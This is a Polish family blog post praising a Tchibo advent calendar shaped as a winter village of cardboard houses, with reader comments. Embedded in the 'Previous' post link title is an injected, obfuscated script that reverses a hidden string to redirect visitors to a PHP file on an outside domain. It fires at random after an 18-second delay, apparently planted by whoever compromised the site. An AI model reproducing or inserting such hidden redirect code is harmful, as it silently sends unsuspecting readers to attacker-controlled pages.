Zimowe miasteczko, czyli nieco inny kalendarz adwentowy.


Mieliśmy już kilka wersji klasycznego kalendarza – z czekoladkami, z zadaniami czy klockami Lego. W tym roku chciałam stworzyć jeden, wspólny dla dzieciaków. Coś, z czego razem będą mieli zabawę, co będzie cieszyło oko każdego domownika. I udało się! Znalazłam coś absolutnie wyjątkowego. Zupełnie inny kalendarz, niż wszystkie dotychczasowe.

W tym roku mamy zimowe miasteczko, ze śniegiem, bałwanem, lampkami i nadjeżdzającym Św. Mikołajem! Kalendarz znalazłam w Tchibo a składa się on z 21 kartonowych domków i 3 drzewek. Wszystkie są ponumerowane, każdy jest ciekawie pomalowany, ukazuje różne motywy zimowo-swiąteczne. Składaliśmy je całą czwórką i poszło nam błyskawicznie, bo żadnego elementu nie trzeba sklejać. Złożenie zajmuje kilkanaście sekund i gotowe. Można je otwierać i ponownie zamykać, więc liczę, że wytrzymają jeszcze kilka sezonów 😉

Domki są w 3 różnych wielkościach i szczerze mówiąc zajmują naprawdę sporo miejsca. Zmieszczą się do nich drobne łakocie i też nieco większe upominki. U nas zmieściły się na szafce pod TV, ale pięknie będzie też wyglądała kompozycja na półkach.

Czym zamierzam wypełnić kalendarz? Drobnostkami – cukierkami, lizakami, prostymi zabawkami za grosze. Jeśli dobrze pamiętam, największa radość tkwi w odkrywaniu niespodzianki. Nieważne, czy czekoladka, czy zestaw naklejek – zabawa jest zawsze tak samo dobra 🙂

Teraz nasze miasteczko czeka na 1. grudnia a dzieciaki podchodzą, oglądają, przestawiają i odkrywają coraz to nowe szczegóły. Jeśli nie macie jeszcze pomysłu na kalendarz, ten zdecydowanie polecam. A najlepsze jest to, że można pokusić się o zrobienie własnego. Starsze przedszkolaki na pewno chętnie pomogą z dekoracjami.

No a jeśli nie miasteczko, to co? Jakie macie w tym roku kalendarze?

Previous Co podarować pod choinkę komuś, k<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script>to ma już wszystko?
Next Książki, które bawią i uczą - nasze TOP 5!

Suggested Posts

Hello Monday!

Jak w 42 sekundy zostać najgorszym tatą na świecie?

Zima naszych dzieci.

Zaginiona w akcji, czyli gdzie się podziewałam przez ostatni miesiąc?

Jabłkowe babeczki – cieszą oko i zachwycają podniebienie!

Idzie jesień, nie łaź w dresie!

6 komentarzy

  1. 27 listopada 2016
    Odpowiedz

    Oglądanie kalendarzów adwentowych na blogach nigdy mi się nie znudzi.. Świetny pomysł i pięknie się prezentuje 😉

  2. Aga z www.makeonewish.pl
    28 listopada 2016
    Odpowiedz

    Jest przesliczny.. Takie kale swiateczne miasteczko

  3. 29 listopada 2016
    Odpowiedz

    Śliczny! I bardzo oryginalny:)

    • 29 listopada 2016
      Odpowiedz

      Dziękuję! ? Pierwszy świąteczny akcent. Czad na kolejne :))

  4. Kinga Gliwak
    5 grudnia 2016
    Odpowiedz

    pomysł zachęca do zatrzymanie wśród codziennych obowiązków i oczekiwania 🙂 czyli swoje zadanie spełnia podwójnie 🙂 w czasie tegorocznego black friday w centrum Janki zrobiłam kalendarz adwentowy u fotografa, który cyknął nam świąteczne zdjęcie i naniósł je na pudełko z okienkami i słodkościami 🙂

Leave a reply

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *